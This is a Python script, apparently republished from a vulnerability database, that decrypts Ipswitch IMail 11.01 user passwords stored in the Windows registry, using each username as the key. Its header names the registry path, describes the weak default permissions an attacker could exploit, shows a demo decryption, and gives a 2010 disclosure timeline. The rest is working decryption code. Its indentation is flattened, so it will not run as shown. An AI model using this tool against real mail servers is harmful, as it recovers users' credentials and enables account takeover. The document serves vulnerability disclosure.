#!/usr/bin/python
##########################################################################
# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
# Tested on: Windows XP SP3 (Windows version does not matter)
# Description:
# So I reverse engineered the IMail password decryption function in
# IMailsec.dll, located at 0x00563130.
#
# In order to decrypt correctly, you must have the correct username,
# because it is used as a key.
#
# All usernames and passwords are stored in registry, which can be
# found at:
# HKEY_LOCAL_MACHINE\SOFTWARE\Ipswitch\IMail\Domains\[domain name]\Users
# Every registry key under "Users" has a string value named "Password",
# in there you'll find the encrypted password.
#
# By default, Internet Guest Account is granted with "Full Control" to
# the IMail registry, and its directory. That means if an attacker
# manages to gain code execution (ie.via a web app bug), IMail can be
# his/her next playground. And IMail users may not be safe.
#
# Demo:
# sinn3r@bt4:~$ ./iMailDecrypt.py admin C8D3D19AA094
# Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor
# coded by sinn3r - x90.sinner{at}gmail.c0m
# [*] Password = god123
#
# Responsible Disclosure Timeline:
# 1/21/2010 - IMail vendor contacted
# 1/26/2010 - Got a reply from the vendor for more vulnerability
# clarfication. No fix yet.
# 2/02/2010 - Received another reply from the vendor: Issues logged for
# additional research. No plans for immediate changes.
# A public advisory was also suggested by the vendor as
# reference in their tech/KB article.
# 2/04/2010 - Public Disclosure. Vendor informed again.
##########################################################################
import sys
import binascii
## Convert the encrypted string to integers for calculation
## Returns the integer version as a list
def convertToInt(data):
charset = []
for char in (data):
tmp = char.encode("hex")
tmp = int(tmp, 16)
charset.append(tmp)
return charset
## Decrypt the password
## Returns the decrypted version as a list
def decryptPassword(intUsername, intPassword):
results = []
counter = 0
counter2 = 0
pwdLength = len(intPassword)
while counter<pwdLength:
firstByte = intPassword[counter]
if firstByte <= 57: #0x39
firstByte -= 48 #0x30
else:
firstByte -= 55 #0x37
firstByte *= 16 #SHL 0x40
secondByte = intPassword[counter+1]
if secondByte <= 57: #0x39
secondByte -= 48 #0x30
else:
secondByte -= 55 #0x37
tmp = firstByte + secondByte
if len(intUsername) <= counter2:
counter2 = 0
if intUsername[counter2] > 54: #0x41
if intUsername[counter2] < 90: #5A
intUsername[counter2] += 32 #0x20
tmp -= intUsername[counter2]
counter2 += 1
results.append(hex(tmp)[2:])
counter += 2
return results
banner = """Ipswitch IMail Server - IMAP4 Server (IMail 11.01) Password Decryptor coded by sinn3r - x90.sinner{at}gmail{d0t}c0m"""
print banner
if len(sys.argv) == 3:
if len(sys.argv[2]) % 2 == 0:
username = convertToInt(sys.argv[1])
password = convertToInt(sys.argv[2])
decryptor = str("".join(decryptPassword(username, password)))
print "[*] Password = %s" %binascii.unhexlify(decryptor)
else:
print "[*] Incorrect Encrypted password length"
else:
print "[*] Usage: %s <username> <encrypted password>" %sys.argv[0]
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation